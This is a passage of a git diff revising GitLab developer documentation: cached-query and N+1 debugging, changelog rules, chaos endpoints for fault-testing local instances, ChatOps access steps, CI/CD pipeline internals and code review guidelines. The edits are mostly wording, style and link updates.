issue](https://gitlab.com/gitlab-org/gitlab/-/issues/259007). +### Inspect suspicious endpoints using the Performance Bar -### Inspect suspicious endpoint using Performance Bar +When building features, use the +[performance bar](../administration/monitoring/performance/performance_bar.md) +to view the list of database queries, including cached queries. The +performance bar shows a warning when the number of total executed and cached queries is +greater than 100. -When building features, you could use the [performance bar](../administration/monitoring/performance/performance_bar.md) -to list database queries, which will include cached queries as well. The performance bar will show a warning -when threshold of total executed queries (including cached ones) has exceeded 100 queries. +To learn more about the statistics available to you, read the +[Performance Bar documentation](../administration/monitoring/performance/performance_bar.md). ## What to look for -Using [Kibana](cached_queries.md#detect-potential-offenders-by-using-kibana), you can look for a large number -of executed cached queries. End-points with large number of `db_cached_count` could indicate that there -are probably a lot of duplicated cached queries, which often indicates a masked N+1 problem. +Using [Kibana](#detect-potential-offenders-by-using-kibana), you can look for a large number +of executed cached queries. Endpoints with a large `db_cached_count` could suggest a large number +of duplicated cached queries, which often indicates a masked N+1 problem. -When you investigate specific endpoint, you could use -the [performance bar](cached_queries.md#inspect-suspicious-endpoint-using-performance-bar). -If you see a lot of similar queries, this often indicates an N+1 query issue (or a similar kind of query batching problem). -If you see same cached query executed multiple times, this often indicates a masked N+1 query problem. +When you investigate a specific endpoint, use +the [performance bar](#inspect-suspicious-endpoints-using-the-performance-bar) +to identify similar and cached queries, which may also indicate an N+1 query issue +(or a similar kind of query batching problem). -For example, let's say you wanted to debug `GroupMembers` page. +### An example -In the left corner of the performance bar you could see **Database queries** showing the total number of database queries +For example, let's debug the "Group Members" page. In the left corner of the +performance bar, **Database queries** shows the total number of database queries and the number of executed cached queries:  -We can see that there are 55 cached queries. By clicking on the number, a modal window with more details is shown. -Cached queries are marked with the `cached` label, so they are easy to spot. We can see that there are multiple duplicated -cached queries: +The page included 55 cached queries. Clicking the number displays a modal window +with more details about queries. Cached queries are marked with the `cached` label +below the query. You can see multiple duplicate cached queries in this modal window:  -If we click on `...` for one of them, it will expand the actual stack trace: +Click **...** to expand the actual stack trace: -```shell +```ruby [ "app/models/group.rb:305:in `has_owner?'", "ee/app/views/shared/members/ee/_license_badge.html.haml:1", @@ -99,24 +120,30 @@ If we click on `...` for one of them, it will expand the actual stack trace: ] ``` -The stack trace, shows us that we obviously have an N+1 problem, since we are repeatably executing for each group member: +The stack trace shows an N+1 problem, because the code repeatedly executes +`group.has_owner?(current_user)` for each group member. To solve this issue, +move the repeated line of code outside of the loop, passing the result to each rendered member instead: -```ruby -group.has_owner?(current_user) -``` +```erb +- current_user_is_group_owner = @group && @group.has_owner?(current_user) -This is easily solvable by extracting this check, above the loop. += render partial: 'shared/members/member', + collection: @members, as: :member, + locals: { membership_source: @group, + group: @group, + current_user_is_group_owner: current_user_is_group_owner } +``` -After [the fix](https://gitlab.com/gitlab-org/gitlab/-/issues/231468), we now have: +After [fixing the cached query](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44626/diffs#27c2761d66e496495be07d0925697f7e62b5bd14), the performance bar now shows only +6 cached queries:  ## How to measure the impact of the change -We can use the [memory profiler](performance.md#using-memory-profiler) to profile our code. -For the previous example, we could wrap the profiler around the `Groups::GroupMembersController#index` action. - -We had: +Use the [memory profiler](performance.md#using-memory-profiler) to profile your code. +For [this example](#an-example), wrap the profiler around the `Groups::GroupMembersController#index` action. Before the fix, the application had +the following statistics: - Total allocated: 7133601 bytes (84858 objects) - Total retained: 757595 bytes (6070 objects) @@ -124,7 +151,8 @@ We had: - `db_cached_count`: 55 - `db_duration`: 303ms -After the fix, we can see that we have reduced the allocated memory as well as the number of cached queries and improved execution time: +The fix reduced the allocated memory, and the number of cached queries. These +factors help improve the overall execution time: - Total allocated: 5313899 bytes (65290 objects), 1810KB (25%) less - Total retained: 685593 bytes (5278 objects), 72KB (9%) less @@ -132,7 +160,7 @@ After the fix, we can see that we have reduced the allocated memory as well as t - `db_cached_count`: 6 (89% less) - `db_duration`: 162ms (87% faster) -## See also +## For more information - [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007) - [Merge Request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries) diff --git a/doc/development/changelog.md b/doc/development/changelog.md index b8e879c1826..894ae5a1893 100644 --- a/doc/development/changelog.md +++ b/doc/development/changelog.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Changelog entries @@ -47,7 +47,7 @@ the `author` field. GitLab team members **should not**. - Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content. - Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. - Performance improvements **should** have a changelog entry. -- Changes that need to be documented in the Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary) +- Changes that need to be documented in the Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary) also require a changelog entry. - _Any_ contribution from a community member, no matter how small, **may** have a changelog entry regardless of these guidelines if the contributor wants one. @@ -55,7 +55,7 @@ the `author` field. GitLab team members **should not**. - Any docs-only changes **should not** have a changelog entry. - Any change behind a disabled feature flag **should not** have a changelog entry. - Any change behind an enabled feature flag **should** have a changelog entry. -- Any change that adds new usage data metrics and changes that needs to be documented in Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary) **should** have a changelog entry. +- Any change that adds new usage data metrics and changes that needs to be documented in Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary) **should** have a changelog entry. - A change that adds snowplow events **should** have a changelog entry - - A change that [removes a feature flag](feature_flags/development.md) **should** have a changelog entry - only if the feature flag did not default to true already. @@ -118,7 +118,7 @@ Its simplest usage is to provide the value for `title`: bin/changelog 'Hey DZ, I added a feature to GitLab!' ``` -If you want to generate a changelog entry for GitLab EE, you will need to pass +If you want to generate a changelog entry for GitLab EE, you must pass the `--ee` option: ```plaintext @@ -144,10 +144,10 @@ At this point the script would ask you to select the category of the change (map ``` The entry filename is based on the name of the current Git branch. If you run -the command above on a branch called `feature/hey-dz`, it will generate a +the command above on a branch called `feature/hey-dz`, it generates a `changelogs/unreleased/feature-hey-dz.yml` file. -The command will output the path of the generated file and its contents: +The command outputs the path of the generated file and its contents: ```plaintext create changelogs/unreleased/my-feature.yml @@ -175,7 +175,7 @@ type: You can pass the **`--amend`** argument to automatically stage the generated file and amend it to the previous commit. -If you use **`--amend`** and don't provide a title, it will automatically use +If you use **`--amend`** and don't provide a title, it uses the "subject" of the previous commit, which is the first line of the commit message: diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md index 63218af857d..9104c01c980 100644 --- a/doc/development/chaos_endpoints.md +++ b/doc/development/chaos_endpoints.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Generating chaos in a test GitLab instance As [Werner Vogels](https://twitter.com/Werner), the CTO at Amazon Web Services, famously put it, **Everything fails, all the time**. -As a developer, it's as important to consider the failure modes in which your software will operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users and a full site outage that affects all users for an extended period. +As a developer, it's as important to consider the failure modes in which your software may operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users, and a full site outage that affects all users for an extended period. To paraphrase [Tolstoy](https://en.wikipedia.org/wiki/Anna_Karenina_principle), _all happy servers are alike, but all failing servers are failing in their own way_. Luckily, there are ways we can attempt to simulate these failure modes, and the chaos endpoints are tools for assisting in this process. @@ -24,7 +24,7 @@ Currently, there are four endpoints for simulating the following conditions: For obvious reasons, these endpoints are not enabled by default on `production`. They are enabled by default on **development** environments. -DANGER: **Warning:** +WARNING: It is required that you secure access to the chaos endpoints using a secret token. You should not enable them in production unless you absolutely know what you're doing. @@ -40,17 +40,17 @@ Replace `secret` with your own secret token. ## Invoking chaos -Once you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints. +After you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints. -By default, when invoking a chaos endpoint, the web worker process which receives the request will handle it. This means, for example, that if the Kill -operation is invoked, the Puma or Unicorn worker process handling the request will be killed. To test these operations in Sidekiq, the `async` parameter on -each endpoint can be set to `true`. This will run the chaos process in a Sidekiq worker. +By default, when invoking a chaos endpoint, the web worker process which receives the request handles it. This means, for example, that if the Kill +operation is invoked, the Puma or Unicorn worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on +each endpoint can be set to `true`. This runs the chaos process in a Sidekiq worker. ## Memory leaks To simulate a memory leak in your application, use the `/-/chaos/leakmem` endpoint. -The memory is not retained after the request finishes. After the request has completed, the Ruby garbage collector will attempt to recover the memory. +The memory is not retained after the request finishes. After the request has completed, the Ruby garbage collector attempts to recover the memory. ```plaintext GET /-/chaos/leakmem @@ -66,8 +66,8 @@ GET /-/chaos/leakmem?memory_mb=1024&duration_s=50&async=true | `async` | boolean | no | Set to true to leak memory in a Sidekiq background worker process | ```shell -curl http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10 --header 'X-Chaos-Secret: secret' -curl http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret +curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret" ``` ## CPU spin @@ -85,12 +85,12 @@ GET /-/chaos/cpu_spin?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | --------------------------------------------------------------------- | -| `duration_s` | integer | no | Duration, in seconds, that the core will be used. Defaults to 30s | +| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s | | `async` | boolean | no | Set to true to consume CPU in a Sidekiq background worker process | ```shell -curl http://localhost:3000/-/chaos/cpu_spin?duration_s=60 --header 'X-Chaos-Secret: secret' -curl http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret +curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret" ``` ## DB spin @@ -110,19 +110,19 @@ GET /-/chaos/db_spin?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | --------------------------------------------------------------------------- | | `interval_s` | float | no | Interval, in seconds, for every DB request. Defaults to 1s | -| `duration_s` | integer | no | Duration, in seconds, that the core will be used. Defaults to 30s | +| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s | | `async` | boolean | no | Set to true to perform the operation in a Sidekiq background worker process | ```shell -curl http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60 --header 'X-Chaos-Secret: secret' -curl http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret +curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret" ``` ## Sleep -This endpoint is similar to the CPU Spin endpoint but simulates off-processor activity, such as network calls to backend services. It will sleep for a given duration_s. +This endpoint is similar to the CPU Spin endpoint but simulates off-processor activity, such as network calls to backend services. It sleeps for a given `duration_s`. -As with the CPU Spin endpoint, this may lead to your request timing out if duration_s exceeds the configured limit. +As with the CPU Spin endpoint, this may lead to your request timing out if `duration_s` exceeds the configured limit. ```plaintext GET /-/chaos/sleep @@ -132,17 +132,17 @@ GET /-/chaos/sleep?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ---------------------------------------------------------------------- | -| `duration_s` | integer | no | Duration, in seconds, that the request will sleep for. Defaults to 30s | +| `duration_s` | integer | no | Duration, in seconds, that the request sleeps for. Defaults to 30s | | `async` | boolean | no | Set to true to sleep in a Sidekiq background worker process | ```shell -curl http://localhost:3000/-/chaos/sleep?duration_s=60 --header 'X-Chaos-Secret: secret' -curl http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret +curl "http://localhost:3000/-/chaos/sleep?duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret" ``` ## Kill -This endpoint will simulate the unexpected death of a worker process using a `kill` signal. +This endpoint simulates the unexpected death of a worker process using a `kill` signal. Because this endpoint uses the `KILL` signal, the worker isn't given an opportunity to cleanup or shutdown. @@ -157,6 +157,6 @@ GET /-/chaos/kill?async=true | `async` | boolean | no | Set to true to kill a Sidekiq background worker process | ```shell -curl http://localhost:3000/-/chaos/kill --header 'X-Chaos-Secret: secret' -curl http://localhost:3000/-/chaos/kill?token=secret +curl "http://localhost:3000/-/chaos/kill" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/kill?token=secret" ``` diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md index c64766af589..a2a0005f7cb 100644 --- a/doc/development/chatops_on_gitlabcom.md +++ b/doc/development/chatops_on_gitlabcom.md @@ -1,31 +1,66 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Chatops on GitLab.com +# ChatOps on GitLab.com ChatOps on GitLab.com allows GitLab team members to run various automation tasks on GitLab.com using Slack. ## Requesting access -GitLab team-members may need access to Chatops on GitLab.com for administration +GitLab team-members may need access to ChatOps on GitLab.com for administration tasks such as: - Configuring feature flags. - Running `EXPLAIN` queries against the GitLab.com production replica. - Get deployment status of all of our environments or for a specific commit: `/chatops run auto_deploy status [commit_sha]` -To request access to Chatops on GitLab.com: +To request access to ChatOps on GitLab.com: -1. Log into <https://ops.gitlab.net/users/sign_in> **using the same username** as for GitLab.com (you may have to rename it). - 1. You could also use the "Sign in with" Google button to sign in, with your GitLab.com email address. -1. Ask one of your team members to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in the `#chat-ops-test` Slack channel. -1. If you had to change your username for GitLab.com on the first step, make sure [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page) on [the team page](https://about.gitlab.com/company/team/). +1. Sign in to [Internal GitLab for Operations](https://ops.gitlab.net/users/sign_in) + with one of the following methods: + + - The same username you use on GitLab.com. You may have to choose a different + username later. + - Clicking the **Sign in with Google** button to sign in with your GitLab.com email address. + +1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/) + is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames + don't match, update the username at [Internal GitLab for Operations](https://ops.gitlab.net/). + +1. Comment in your onboarding issue, and tag your onboarding buddy and your manager. + Request they add you to the `ops` ChatOps project by running this command + in the `#chat-ops-test` Slack channel, replacing `<username>` with your username: + `/chatops run member add <username> gitlab-com/chatops --ops` + + <!-- vale gitlab.FirstPerson = NO --> + + > Hi `__BUDDY_HANDLE__` and `__MANAGER_HANDLE__`, could you please add me to + > the ChatOps project in Ops by running this command: + > `/chatops run member add <username> gitlab-com/chatops --ops` in the + > `#chat-ops-test` Slack channel? Thanks in advance. + + <!-- vale gitlab.FirstPerson = YES --> + +1. Ensure you've set up two-factor authentication. +1. After you're added to the ChatOps project, run this command to check your user + status and ensure you can execute commands in the `#chat-ops-test` Slack channel: + + ```plaintext + /chatops run user find <username> + ``` + + The bot guides you through the process of allowing your user to execute + commands in the `#chat-ops-test` Slack channel. + +1. If you had to change your username for GitLab.com on the first step, make sure + [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page) + on [the team page](https://about.gitlab.com/company/team/). ## See also -- [Chatops Usage](../ci/chatops/README.md) +- [ChatOps Usage](../ci/chatops/README.md) - [Understanding EXPLAIN plans](understanding_explain_plans.md) - [Feature Groups](feature_flags/development.md#feature-groups) diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 30ccc52ec5e..eede1d691a9 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- @@ -32,8 +32,8 @@ On the left side we have the events that can trigger a pipeline based on various - When GitHub integration is used with [external pull requests](../../ci/ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). - When an upstream pipeline contains a [bridge job](../../ci/yaml/README.md#trigger) which triggers a downstream pipeline. -Triggering any of these events will invoke the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb) -which takes as input event data and the user triggering it, then will attempt to create a pipeline. +Triggering any of these events invokes the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb) +which takes as input event data and the user triggering it, then attempts to create a pipeline. The `CreatePipelineService` relies heavily on the [`YAML Processor`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/yaml_processor.rb) component, which is responsible for taking in a YAML blob as input and returns the abstract data structure of a @@ -65,20 +65,20 @@ the `Runner API Gateway`. We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected, it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb) -which will pick the next job and assign it to the runner. At this point the job will transition to a +which picks the next job and assigns it to the runner. At this point the job transitions to a `running` state, which again triggers `ProcessPipelineService` due to the status change. For more details read [Job scheduling](#job-scheduling)). While a job is being executed, the runner sends logs back to the server as well any possible artifacts that need to be stored. Also, a job may depend on artifacts from previous jobs in order to run. In this -case the runner will download them using a dedicated API endpoint. +case the runner downloads them using a dedicated API endpoint. Artifacts are stored in object storage, while metadata is kept in the database. An important example of artifacts are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request. Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry specific failed jobs or the entire pipeline. Anything that -causes a job to change status will trigger `ProcessPipelineService`, as it's responsible for +causes a job to change status triggers `ProcessPipelineService`, as it's responsible for tracking the status of the entire pipeline. A special type of job is the [bridge job](../../ci/yaml/README.md#trigger) which is executed server-side @@ -90,7 +90,7 @@ from the `CreatePipelineService` every time a downstream pipeline is triggered. When a Pipeline is created all its jobs are created at once for all stages, with an initial state of `created`. This makes it possible to visualize the full content of a pipeline. -A job with the `created` state won't be seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if: +A job with the `created` state isn't seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if: 1. The job is created in the very first stage of the pipeline. 1. The job required a manual start and it has been triggered. @@ -99,7 +99,7 @@ A job with the `created` state won't be seen by the runner yet. To make it possi When the runner is connected, it requests the next `pending` job to run by polling the server continuously. -NOTE: **Note:** +NOTE: API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb) After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner. @@ -134,8 +134,8 @@ There are 3 top level queries that this service uses to gather the majority of t This list of jobs is then filtered further by matching tags between job and runner tags. -NOTE: **Note:** -If a job contains tags, the runner will not pick the job if it does not match **all** the tags. +NOTE: +If a job contains tags, the runner doesn't pick the job if it does not match **all** the tags. The runner may have more tags than defined for the job, but not vice-versa. Finally if the runner can only pick jobs that are tagged, all untagged jobs are filtered out. diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index e4c3e622ede..1ab569ba0df 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- diff --git a/doc/development/code_comments.md b/doc/development/code_comments.md index d9ab719d18a..b1db781b9ee 100644 --- a/doc/development/code_comments.md +++ b/doc/development/code_comments.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Code comments Whenever you add comment to the code that is expected to be addressed at any time in future, please create a technical debt issue for it. Then put a link to it -to the code comment you've created. This will allow other developers to quickly +to the code comment you've created. This allows other developers to quickly check if a comment is still relevant and what needs to be done to address it. Examples: diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md index 24abf57e9d6..c5673f6eee2 100644 --- a/doc/development/code_intelligence/index.md +++ b/doc/development/code_intelligence/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Code Intelligence @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w This document describes the design behind [Code Intelligence](../../user/project/code_intelligence.md). -GitLab's built-in Code Intelligence is powered by +The built-in Code Intelligence in GitLab is powered by [LSIF](https://lsif.dev) and comes down to generating an LSIF document for a project in a CI job, processing the data, uploading it as a CI artifact and displaying this information for the files in the project. diff --git a/doc/development/code_review.md b/doc/development/code_review.md index 63a47240435..00f4cf90481 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Code Review Guidelines @@ -31,7 +31,7 @@ If you need some guidance (for example, it's your first merge request), feel fre one of the [Merge request coaches](https://about.gitlab.com/company/team/). If you need assistance with security scans or comments, feel free to include the -Security Team (`@gitlab-com/gl-security`) in the review. +Application Security Team (`@gitlab-com/gl-security/appsec`) in the review. Depending on the areas your merge request touches, it must be **approved** by one or more [maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#maintainer): @@ -40,7 +40,7 @@ For approvals, we use the approval functionality found in the merge request widget. Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval). Getting your merge request **merged** also requires a maintainer. If it requires -more than one approval, the last maintainer to review and approve it will also merge it. +more than one approval, the last maintainer to review and approve merges it. ### Domain experts @@ -69,7 +69,7 @@ It picks reviewers and maintainers from the list at the [engineering projects](https://about.gitlab.com/handbook/engineering/projects/) page, with these behaviors: -1. It will not pick people whose [GitLab status](../user/profile/index.md#current-status) +1. It doesn't pick people whose [GitLab status](../user/profile/index.md#current-status) contains the string 'OOO', or the emoji is `:palm_tree:` or `:beach:`. 1. [Trainee maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#trainee-maintainer) are three times as likely to be picked as other reviewers. @@ -110,8 +110,8 @@ with [domain expertise](#domain-experts). 1. If your merge request includes a new dependency or a filesystem change, it must be **approved by a [Distribution team member](https://about.gitlab.com/company/team/)**. See how to work with the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution) for more details. 1. If your merge request includes documentation changes, it must be **approved - by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers)**, based on - the appropriate [product category](https://about.gitlab.com/handbook/product/product-categories/). + by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)**, based on + the appropriate [product category](https://about.gitlab.com/handbook/product/categories/). 1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**. 1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)** @@ -156,9 +156,9 @@ up confusion or verify that the end result matches what they had in mind, to database specialists to get input on the data model or specific queries, or to any other developer to get an in-depth review of the solution. -If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion, that's -usually a pretty good sign that it does, since without it the required level of -confidence in their solution will not have been reached. +If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion, +that indicates it does. Without it it's unlikely they have the required level of confidence in their +solution. Before the review, the author is requested to submit comments on the merge request diff alerting the reviewer to anything important as well as for anything @@ -197,18 +197,18 @@ however, if one isn't available or you think the merge request doesn't need a re Maintainers are responsible for the overall health, quality, and consistency of the GitLab codebase, across domains and product areas. -Consequently, their reviews will focus primarily on things like overall +Consequently, their reviews focus primarily on things like overall architecture, code organization, separation of concerns, tests, DRYness, consistency, and readability. -Since a maintainer's job only depends on their knowledge of the overall GitLab +Because a maintainer's job only depends on their knowledge of the overall GitLab codebase, and not that of any specific domain, they can review, approve, and merge merge requests from any team and in any product area. -Maintainers will do their best to also review the specifics of the chosen solution +Maintainers do their best to also review the specifics of the chosen solution before merging, but as they are not necessarily [domain experts](#domain-experts), they may be poorly placed to do so without an unreasonable investment of time. In those cases, they -will defer to the judgment of the author and earlier reviewers, in favor of focusing on their primary responsibilities. +defer to the judgment of the author and earlier reviewers, in favor of focusing on their primary responsibilities. If a maintainer feels that an MR is substantial enough that it warrants a review from a [domain expert](#domain-experts), and it is unclear whether a domain expert have been involved in the reviews to date, @@ -259,8 +259,8 @@ Instead these should be sent to the [Release Manager](https://about.gitlab.com/c understand" or "Alternative solution:" comments. Post a follow-up comment summarizing one-on-one discussion. - If you ask a question to a specific person, always start the comment by - mentioning them; this will ensure they see it if their notification level is - set to "mentioned" and other people will understand they don't have to respond. + mentioning them; this ensures they see it if their notification level is + set to "mentioned" and other people understand they don't have to respond. ### Having your merge request reviewed @@ -272,8 +272,10 @@ first time. of your shiny new branch, read through the entire diff. Does it make sense? Did you include something unrelated to the overall purpose of the changes? Did you forget to remove any debugging code? +<!-- vale gitlab.FutureTense = NO --> - Be grateful for the reviewer's suggestions. ("Good call. I'll make that change.") +<!-- vale gitlab.FutureTense = YES --> - Don't take it personally. The review is of the code, not of you. - Explain why the code exists. ("It's like that because of these reasons. Would it be more clear if I rename this class/file/method/variable?") @@ -361,7 +363,7 @@ your own suggestions to the merge request. Note that: - **Before applying suggestions**, edit the merge request to make sure [squash and merge](../user/project/merge_requests/squash_and_merge.md#squash-and-merge) - is enabled, otherwise, the pipeline's Danger job will fail. + is enabled, otherwise, the pipeline's Danger job fails. - If a merge request does not have squash and merge enabled, and it has more than one commit, then see the note below about rewriting commit history. @@ -390,10 +392,10 @@ When ready to merge: - When you set the MR to "Merge When Pipeline Succeeds", you should take over subsequent revisions for anything that would be spotted after that. -Thanks to **Pipeline for Merged Results**, authors won't have to rebase their -branch as frequently anymore (only when there are conflicts) since the Merge -Results Pipeline will already incorporate the latest changes from `master`. -This results in faster review/merge cycles since maintainers don't have to ask +Thanks to **Pipeline for Merged Results**, authors no longer have to rebase their +branch as frequently anymore (only when there are conflicts) because the Merge +Results Pipeline already incorporate the latest changes from `master`. +This results in faster review/merge cycles because maintainers don't have to ask for a final rebase: instead, they only have to start a MR pipeline and set MWPS. This step brings us very close to the actual Merge Trains feature by testing the Merge Results against the latest `master` at the time of the pipeline creation. @@ -451,7 +453,7 @@ Enterprise Edition instance. This has some implications: 1. Reversible. 1. Performant at the scale of GitLab.com - ask a maintainer to test the migration on the staging environment if you aren't sure. - 1. Categorised correctly: + 1. Categorized correctly: - Regular migrations run before the new code is running on the instance. - [Post-deployment migrations](post_deployment_migrations.md) run _after_ the new code is deployed, when the instance is configured to do that. @@ -459,14 +461,14 @@ Enterprise Edition instance. This has some implications: should only be done for migrations that would take an extreme amount of time at GitLab.com scale. 1. **Sidekiq workers** [cannot change in a backwards-incompatible way](sidekiq_style_guide.md#sidekiq-compatibility-across-updates): - 1. Sidekiq queues are not drained before a deploy happens, so there will be + 1. Sidekiq queues are not drained before a deploy happens, so there are workers in the queue from the previous version of GitLab. 1. If you need to change a method signature, try to do so across two releases, and accept both the old and new arguments in the first of those. 1. Similarly, if you need to remove a worker, stop it from being scheduled in - one release, then remove it in the next. This will allow existing jobs to + one release, then remove it in the next. This allows existing jobs to execute. - 1. Don't forget, not every instance will upgrade to every intermediate version + 1. Don't forget, not every instance is upgraded to every intermediate version (some people may go from X.1.0 to 